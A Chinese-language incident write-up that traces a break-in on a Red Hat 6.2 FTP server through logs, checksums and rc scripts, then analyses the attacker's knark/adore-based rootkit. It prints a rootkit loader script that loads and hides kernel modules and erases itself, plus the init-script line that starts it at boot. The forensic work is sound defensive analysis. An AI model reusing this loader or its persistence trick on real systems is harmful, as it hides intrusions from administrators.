一次入侵檢查
by liz
一. 發現
前兩天裝了一個Redhat 6.2,因為懶,系統開了FTP和telnet服務之後就沒再管過,平時扔在那裡做個ftp中轉站。
前日,朋友告訴我機器的ftp不能匿名登錄了,很是納悶,登上去nmap一下,發現不對了:
[liz]$ nmap 127.0.0.1
Port State Service
21/tcp open ftp
23/tcp open telnet
111/tcp open sunrpc
113/tcp open auth
看看網絡情況:
[liz]$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 138 a:23 b:1122 ESTABLISHED
hoho,竟然沒有,難道netstat被替換掉了?
看看RPM校驗:
[liz]$ rpm -qf /bin/netstat
net-tools-1.54-4
[liz]$ rpm -V net-tools
什麼都沒有,似乎...netstat沒有問題,難道加載了llkm?
[liz]$ lsmod
Module Size Used by
空的(系統本身沒有加載lkm),module隱藏了?
是不是杞人憂天啊?看看系統有什麼改變沒有?
[liz]$ cat /var/log/message
Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0)
Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz
Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1
Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1
Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09
Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped)
Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0)
嘻嘻,發現問題了:怎麼大半夜裡我的帳號還在用?還有,9號到11號之間竟然沒有任何記錄?雖然我的機器利用率不高,可crond總還是在跑的吧,連這個都沒有,顯然顯然...
再看看wtmp記錄:
[liz]$ strings /var/log/wtmp
...
ftpd748
pts/0
ftpd786
@ftp
pd950c097.dip.t-dialin.net
ftpd786
pts/0
...
ftpd14698
@ftp
pd950ef94.dip.t-dialin.net
ftpd14698
pts/0
....
ftpd15200
@ftp
211.178.18.15
ftpd15200
挺熱鬧的嘛,當然了,不足為證。
忘了忘了,最重要的:
[liz]$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
liz pts/0 b 10:58am 0.00s 0.11s ? -
只有我一個,也就這個log正常了。
現在可以肯定,系統有人進來了。
比較麻煩,靜下心來想一想......
一個cracker,找到一個redhat 6.2的漏洞,比如說wu-ftp2.6 漏洞,很順利的(5555...沒面子)拿到root權限,上載一些東東,加載llkm,隱藏相應的進程、目錄和llkm,然後留一個後門(姑且是111或/和113端口的了),擦腳印,撤。
恩,典型的攻擊方式,很符合系統的記錄,可是留下
痕跡1:wtmp裡pd950ef94.dip.t-dialin.net兩次來我的機子,而且時間相差甚遠(看ftpd號),又是撥號用戶,也許不是他,可是我現在抓不到人,錯抓一個也比一個沒有強,算他倒霉了,*_^。
痕跡2:message裡擦腳印也不高明點,一股腦刪,唉。
痕跡3:好端端的給我機器開幾個服務,也不找個高明點的後門,不是明擺著讓我去查嘛。
痕跡4,5,6...:待查,呵呵
好了,既然他加載了llkm,rc裡勢必要留下點什麼,要不然機器一重起,llkm沒了就完了。
可是rc裡那麼多,我一個一個查,還不累死啊?
偷個懶,md5一下。
[liz]$ md5sum
慢著.......,現在系統不能相信了,md5sum也不例外,找個干淨的cp過來md5。
[liz]$ ftp...
....
[liz]$ /usr/bin/md5sum /etc/inittab > /tmp/md5.txt
[liz]$ cd /etc/rc.d
[liz]$ /usr/bin/md5sum `find `pwd` -type f` >> /tmp/md5.txt
再找個干淨的機器造個相同的文件md5.txt1
diff一下:
[liz]$ diff /tmp/md5.txt /tmp/md5.txt1 > result.txt
經過詳細和漫長(麼?)的比較,並去除鏈接和以K開頭的文件,終於發現兩個不一樣:
/etc/rc.d/rc.loacl
/etc/rc.d/init.d/syslog
懶得自己去看,還是diff吧,取干淨的rc.local和syslog過來
diff的結果:
干淨的rc.local忘記注釋issue那部分了,無妨無妨
syslog:
< /bin/rkup &
^_^,檢測工作結束,拔掉網線,睡覺。
二. 分析
找到cracker加載的位置,以下就好辦了:
[liz]$ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
...
# Loads and hides knark
...
# Hides files
...
/bin/kload &>/dev/null
呵呵,原來是knark啊,順勢看看kload,找到如下文件:
/bin/rkup
/bin/kload
/usr/lib/.rain目錄下:
.:
bot home lkm ssh
./bot:
c0r3 emech
./bot/c0r3:
c0r3
ls: ./bot/emech: Permission denied
./home:
./lkm:
adore.o ava modhide.o src
./lkm/src:
adore.c ava.c config libinvisible.c libinvisible.h modhide.c
./ssh:
ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx
經過仔細的(又來了...)分析,終於弄明白大部分是作什麼用的:
入侵的cracker似乎叫r41n,這些東東都是他自己寫的rootkit kkit裡的,從這幾個地方可以看到:
(當然或許是個全盤照抄的cracker也不一定)
[liz]$ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
...
[liz]$ cat /usr/lib/.rain/home/.bashrc
...
echo " Welcome r41n! Enjoy Kkit by r41n!"
echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 "
...
而且可以看到,這個cracker還把系統攻破的時間記下來,跟前邊分析的幾個log出現問題的時間一致。
從分析的結果看,r41n的這個kkit用的還是knark的思想,又針對一些具體情況做了改動。cracker用的主目錄/usr/lib/.rain還是knark風格的,實在沒創意。
以下是各個文件作用的分析:
/bin/rkup:
---------start------------
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
PATH=...
# Loads and hides knark
if [ "$1" != "kit" ]; then
depmod -a &>/dev/null
insmod $RKPATH/lkm/adore.o &>/dev/null
T=`lsmod grep "adore"`
if [ ! "$T" ]; then
# echo "cant load .. recompile" >/test
cd $RKPATH/lkm/src
./config
./compile
if [ -e adore.o ]; then
cp -f adore.o .. &>/dev/null
cp -f modhide.o .. &>/dev/null
cp -f ava .. &>/dev/null
rm -f *o &>/dev/null
rm -f ava &>/dev/null
rm -f compile &>/dev/null
# echo "ok recompiled... loading!" >>/test
else
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant recompile! OUT!" >>/test
exit
fi
insmod $RKPATH/lkm/adore.o &>/dev/null
T=`lsmod grep "adore"`
if [ ! "$T" ]; then
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant load after recompile! OUT!" >>/test
exit
fi
fi
# echo "LOADED OK!!!" >>/test
insmod $RKPATH/lkm/modhide.o &>/dev/null
fi
#